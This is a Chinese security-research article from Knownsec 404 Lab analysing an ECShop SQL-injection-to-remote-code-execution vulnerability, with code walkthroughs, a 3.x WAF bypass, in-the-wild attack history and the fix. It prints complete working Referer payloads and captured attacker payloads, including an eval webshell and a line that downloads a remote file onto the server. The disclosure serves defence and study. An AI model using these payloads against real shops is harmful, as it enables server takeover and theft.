ECShop 0day 的堕落之路

Author: Badcode@知道创宇404实验室

Date: 2018/09/04

背景

ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。2018年6月13日,知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”防御拦截并捕获到一个针对某著名区块链交易所网站的攻击,通过分析,发现攻击者利用的正式ECShop 2.x版本的0day漏洞攻击。于2018年6月14日,提交到知道创宇Seebug漏洞平台并收录

随后于2018年8月31日,ID为“ringk3y”研究人员在其博客公开这个漏洞,并做了详细分析,该分析收录在Seebug Paper

知道创宇404积极防御团队于2018年9月2日正式对外发布《ECShop全系列版本的远程代码执行漏洞》预警。

从2018年的6月13日首次拦截后,知道创宇404实验室多个团队对这个利用ECShop 0day攻击事件进行持续的监控分析,从下文的分析结果可以看出一个0day漏洞在实际攻击中的各个阶段的“堕落”过程。

漏洞分析

该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。

值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响ECShop 3.x,这个是因为在3.x的版本里有引入防注入攻击的安全代码,通过我们分析发现该防御代码完全可以绕过实现对ECShop 3.x的攻击(详见下文分析)。

注:以下代码分析基于ECShop 2.7.3

SQL 注入漏洞

首先看到ecshop/user.php

elseif ($action == 'login')
{
if (empty($back_act))
{
if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
{
$back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
}
else
{
$back_act = 'user.php';
}
}
$captcha = intval($_CFG['captcha']);
if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0)
{
$GLOBALS['smarty']->assign('enabled_captcha', 1);
$GLOBALS['smarty']->assign('rand', mt_rand());
}
$smarty->assign('back_act', $back_act);
$smarty->display('user_passport.dwt');
}

可以看到$back_act是从HTTP_REFERER获取到的,HTTP_REFERER是外部可控的,这也是万恶的根源。

接着将back_act变量传递给assign函数,跟进ecshop/includes/cls_template.php

   /**
* 注册变量
*
* @access  public
* @param   mix      $tpl_var
* @param   mix      $value
*
* @return  void
*/
function assign($tpl_var, $value = '')
{
if (is_array($tpl_var))
{
foreach ($tpl_var AS $key => $val)
{
if ($key != '')
{
$this->_var[$key] = $val;
}
}
}
else
{
if ($tpl_var != '')
{
$this->_var[$tpl_var] = $value;
}
}
}

可以从注释了解这个函数的功能,是注册模板变量,也就是$back_act变成了$this->_var[$back_act]=$back_act,而后调用display函数

    function display($filename, $cache_id = '')
{
$this->_seterror++;
error_reporting(E_ALL ^ E_NOTICE);
$this->_checkfile = false;
$out = $this->fetch($filename, $cache_id);
if (strpos($out, $this->_echash) !== false)
{
$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
if (($key % 2) == 1)
{
$k[$key] = $this->insert_mod($val);
}
}
$out = implode('', $k);
}
error_reporting($this->_errorlevel);
$this->_seterror--;
echo $out;
}

user.php调用display函数,传递进来的$filenameuser_passport.dwt,从函数来看,首先会调用$this->fetch来处理user_passport.dwt模板文件,fetch函数中会调用$this->make_compiled来编译模板。user_passport.dwt其中一段如下:

            <td>&nbsp;</td>
<td align="left">
<input type="hidden" name="act" value="act_login" />
<input type="hidden" name="back_act" value="{$back_act}" />
<input type="submit" name="submit" value="" class="us_Submit" />
</td>

make_compiled会将模板中的变量解析,也就是在这个时候将上面assign中注册到的变量$back_act传递进去了,解析完变量之后返回到display函数中。此时$out是解析变量后的html内容,判断$this->_echash是否在$out中,若在,使用$this->_echash来分割内容,得到$k然后交给insert_mod处理。

由于_echash是默认的,不是随机生成的,所以$val内容可随意控制。跟进$this->insert_mod

    function insert_mod($name) // 处理动态内容
{
list($fun, $para) = explode('|', $name);
$para = unserialize($para);
$fun = 'insert_' . $fun;
return $fun($para);
}

$val传递进来,先用|分割,得到$fun$para$para进行反序列操作,$funinsert_拼接,最后动态调用$fun($para),函数名部分可控,参数完全可控。接下来就是寻找以insert_开头的可利用的函数了,在ecshop/includes/lib_insert.php有一个insert_ads函数,正好满足要求。看下insert_ads

/**
* 调用指定的广告位的广告
*
* @access  public
* @param   integer $id     广告位ID
* @param   integer $num    广告数量
* @return  string
*/
function insert_ads($arr)
{
static $static_res = NULL;
$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql  = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}
......
$ads = array();
$position_style = '';
foreach ($res AS $row)
{
if ($row['position_id'] != $arr['id'])
{
continue;
}
$position_style = $row['position_style'];
switch ($row['media_type'])
{
......
}
$position_style = 'str:' . $position_style;
$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;
$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);
$GLOBALS['smarty']->caching = $need_cache;
return $val;
}

$arr是可控的,并且会拼接到SQL语句中,这就造成了SQL注入漏洞。

根据上面的流程,可以构造出如下形式的payload

echash+fun|serialize(array("num"=>sqlpayload,"id"=>1))

实际可利用payload

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}

代码执行

继续看insert_ads函数

$position_style = '';
foreach ($res AS $row)
{
if ($row['position_id'] != $arr['id'])
{
continue;
}
$position_style = $row['position_style'];
switch ($row['media_type'])
{
......
$position_style = 'str:' . $position_style;
$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;
$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);
$GLOBALS['smarty']->caching = $need_cache;
return $val;

可以看到在SQL查询结束之后会调用模板类的fetch方法,在user.php中调用display,然后调用fetch的时候传入的参数是user_passport.dwt,而在此处传入的参数是$position_style,向上溯源,发现是$row['position_style']赋值而来,也就是SQL语句查询的结果,结果上面这个SQL注入漏洞,SQL查询的结果可控,也就是$position_style可控。

要到$position_style = $row['position_style'];还有一个条件,就是$row['position_id']要等于$arr['id'],查询结果可控,arr['id']同样可控。

之后$position_style会拼接'str:'传入fetch函数,跟进fetch

/**
* 处理模板文件
*
* @access  public
* @param   string      $filename
* @param   sting      $cache_id
*
* @return  sring
*/
function fetch($filename, $cache_id = '')
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++;
if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}
else
{
......

因为之前拼接'str:'了,所以strncmp($filename,'str:', 4) == 0为真,然后会调用危险函数$this->_eval,这就是最终触发漏洞的点。但是参数在传递之前要经过fetch_str方法的处理,跟进

    /**
* 处理字符串函数
*
* @access  public
* @param   string     $source
*
* @return  sring
*/
function fetch_str($source)
{
if (!defined('ECS_ADMIN'))
{
$source = $this->smarty_prefilter_preCompile($source);
}
$source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |()/is", "", $source);
if(preg_match_all('~(<?(?:w+|=)?|?>|languages*=s*["']?php["']?)~is', $source, $sp_match))
{
$sp_match[1] = array_unique($sp_match[1]);
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
}
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo ''.str_replace("'", "'", $sp_match[1][$curr_sp]).''; ?>'."n", $source);
}
}
return preg_replace("/{([^}{n]*)}/e", "$this->select('1');", $source);
}

第一个正则会匹配一些关键字,然后置空,主要看下最后一个正则

 return preg_replace("/{([^}{n]*)}/e", "$this->select('1');", $source);

这个正则是将捕获到的值交于$this-select()函数处理。例如,$source的值是xxx{$abc}xxx,正则捕获到的group 1 就是$abc,然后就会调用$this-select("$abc")

跟进select函数

    /**
* 处理{}标签
*
* @access  public
* @param   string      $tag
*
* @return  sring
*/
function select($tag)
{
$tag = stripslashes(trim($tag));
if (empty($tag))
{
return '{}';
}
elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注释部分
{
return '';
}
elseif ($tag{0} == '$') // 变量
{
//            if(strpos($tag,"'") || strpos($tag,"]"))
//            {
//                 return '';
//            }
return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
}
......

当传入的变量的第一个字符是$,会返回由 php 标签包含变量的字符串,最终返回到_eval()危险函数内,执行。在返回之前,还调用了$this->get_var处理,跟进get_var

    /**
* 处理smarty标签中的变量标签
*
* @access  public
* @param   string     $val
*
* @return  bool
*/
function get_val($val)
{
if (strrpos($val, '[') !== false)
{
$val = preg_replace("/[([^[]]*)]/eis", "'.'.str_replace('$','$','1')", $val);
}
if (strrpos($val, '|') !== false)
{
$moddb = explode('|', $val);
$val = array_shift($moddb);
}
if (empty($val))
{
return '';
}
if (strpos($val, '.$') !== false)
{
$all = explode('.$', $val);
foreach ($all AS $key => $val)
{
$all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']';
}
$p = implode('', $all);
}
else
{
$p = $this->make_var($val);
}

当传入的变量没有.$时,调用$this->make_var,跟进make_var

    /**
* 处理去掉$的字符串
*
* @access  public
* @param   string     $val
*
* @return  bool
*/
function make_var($val)
{
if (strrpos($val, '.') === false)
{
if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
{
$val = $this->_patchstack[$val];
}
$p = '$this->_var['' . $val . '']';
}
else
{
.....

在这里结合select函数里面的语句来看,<?php echo $this->_var[' $val '];?>,要成功执行代码的话,$val必须要把['闭合,所以payload构造,从下往上构造,$valabc'];echo phpinfo();//;从select函数进入get_var的条件是第一个字符是$,所以payload变成了$abc'];echo phpinfo();//;而要进入到select,需要被捕获,payload变成了{$abc'];echo phpinfo();//},这里因为payload的是phpinfo(),这里会被fetch_str函数的第一个正则匹配到,需要变换一下,所以payload变为{$abc'];echo phpinfo/**/();//},到这里为止,php 恶意代码就构造完成了。

接下来就是把构造好的代码通过SQL注入漏洞传给$position_style
这里可以用union select 来控制查询的结果,根据之前的流程,$row['position_id']$arr['id']要相等,$row['position_id']是第二列的结果,$position_style是第九列的结果。$arr['id']传入' /*,$arr['num']传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -0x27202f2a' /*的16进制值,也就是$row['position_id']的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d是上面构造的php代码的16进制值,也就是$position_style

结合之前的SQL漏洞的payload构造,所以最终的payload的是

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

可以看到成功的执行了phpinfo()

ECShop 3.x 绕过

上述的测试环境都是2.7.3的,理论上打2.x都没问题,而在3.x上是不行的,原因是3.x自带了个WAF(ecshop/includes/safety.php),对所有传入的参数都做了检测,按照上面构造的 payload ,union select 会触发SQL注入的检测规则,有兴趣的可以去绕绕,我没绕过。。

下面的测试版本为ECshop3.0,3.x版本的echash45ea207d7a2b68c49582d2d22adf953a
上面说了 insert_ads 函数存在注入,并且有两个可控点,$arr['id']$arr['num'],可以将union select通过两个参数传递进去,一个参数传递一个关键字,中间的可以使用/**/注释掉,这样就不会触发WAF。

实际攻击分析

上文提到该漏洞最早由知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”在2018年6月13日拦截并捕获,随后针对这个漏洞的攻击情况做了详细的监控及跟进:

第一阶:0day在野之“APT攻击” (2018年6月13日)

首次捕获到 2.x 的 payload 是被用来攻击某区块链交易所网站,因此我们高度怀疑攻击者是用 0day 来攻击区块链交易所的 apt团队。样本中 payload 通过HTTP 请求头的Referer字段植入,如下

把捕获的 payload 转码出来看

Referer: http://www.noxxx.com/554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:2:"id";s:3:"'/*";s:3:"num";S:216:"*/UNION select 1,0x272f2a,3,4,5,6,7,8,0x7b2461275d3b617373657274286261736536345f6465636f64652827514556575155776f596d467a5a5459305832526c5932396b5a53676b58314250553152624a303576654364644b536b372729293b24615b27317d,10#";}554fcae493e564ee0dc75bdf2ebf94ca

恶意代码

{$a'];assert(base64_decode('QEVWQUwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ05veCddKSk7'));$a['1}

base64部分的内容是

@EVAL(base64_decode($_POST['Nox']));

可以看到,没有写入 webshell,而是直接接收$_POST['Nox']参数,进行base64解码后直接传入eval函数执行代码,相当于一个无文件的 webshell ,非常隐蔽。

本次攻击是由一个日本ip(35.200.*.*)发起,通过攻击的手法及使用的paylaod等情况来看,并直接了当地用来攻击某著名区块链交易所,我们高度怀疑是目的性非常明确的“APT攻击”。

第二阶:0day在野之“黑产攻击” (2018年8月)

在随后整个7月都没有出现利用该漏洞攻击的记录直到8月初,在整个8月拦截捕获该0day漏洞攻击记录10余次,攻击者使用的 payload 都相同,且都是一个菲律宾IP(180.191.*.*)发起的攻击。如下:

554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:3:"num";s:314:"/<SP>union<SP>select<SP>1,0x272f2a,3,4,5,6,7,8,0x7B247B24686F6D65275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4575634768774A79786D6157786C5832646C6446396A623235305A5735306379676E6148523063446F764C33566C5A5335745A53394E636B706A4A796B704F773D3D2729293B2F2F7D7D,10--<SP>-";s:2:"id";s:3:"'/";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca

// file_put_contents('1.php',file_get_contents('http://uee.me/MrJc'));和这篇分析文章里捕获到的样本一致。

从整个8月拦截的10余次攻击目标,payload等手法来看,我们认为极有可能该0day漏洞已经被流入到“高端黑产”团队,并进行了批量自动化攻击。

第三阶:0day曝光之“疯狂攻击” (2018年8月31日后)

在2018年8月31日漏洞细节被公开之后,攻击数量开始增加,捕获到的 payload 也变的多种多样,漏洞被广泛利用。

从这些人使用的攻击目标、手法及payload(攻击使用的payload仍然只适用于2.x版本,目前为止没有看到使用针对3.x payload攻击)等情况来看,考虑大量的“低端黑产”玩家开始加入进来,继续“疯狂”的抓鸡行动中,榨干这个漏洞的最后一滴“油水”…

漏洞影响范围及修复

根据ZoomEye网络空间搜索引擎对ECShop关键字的搜索结果,共找到42400 条历史记录。

漏洞修复

目前我们分析下载最新版的ECShop 4.0里对这个漏洞进行修复:

看到ecshop4/ecshop/includes/lib_insert.php

可以看到,将传递进来的$arr[id]$arr[num]强制转换成整型,这样就没法利用这个漏洞了。

另外我们注意到官方并没有发布针对老版本的(2.x和3.x)的独立修复补丁,相关老版本的用户可参考ECShop 4.0代码来修复或者直接升级到ECShop 4.0。

小结

本次ECShop这个漏洞挖掘到漏洞利用非常有技术含量,可以算是一个经典的“二次漏洞”案例,从一个SQL注入漏洞最后完美实现转变为代码执行漏洞。另外从这个漏洞在野外实际利用的过程,也非常的“经典”,完美重现了一个0day漏洞被挖掘利用转变为“武器”后的完美历程:从被用来目标明确的“定向攻击”,再到“黑产”高端玩家,直到最后在曝光后沦为黑产“抓鸡”工具的“堕落” …

感谢我们404实验室各团队小伙伴的努力~~ 我爱你们~~

参考链接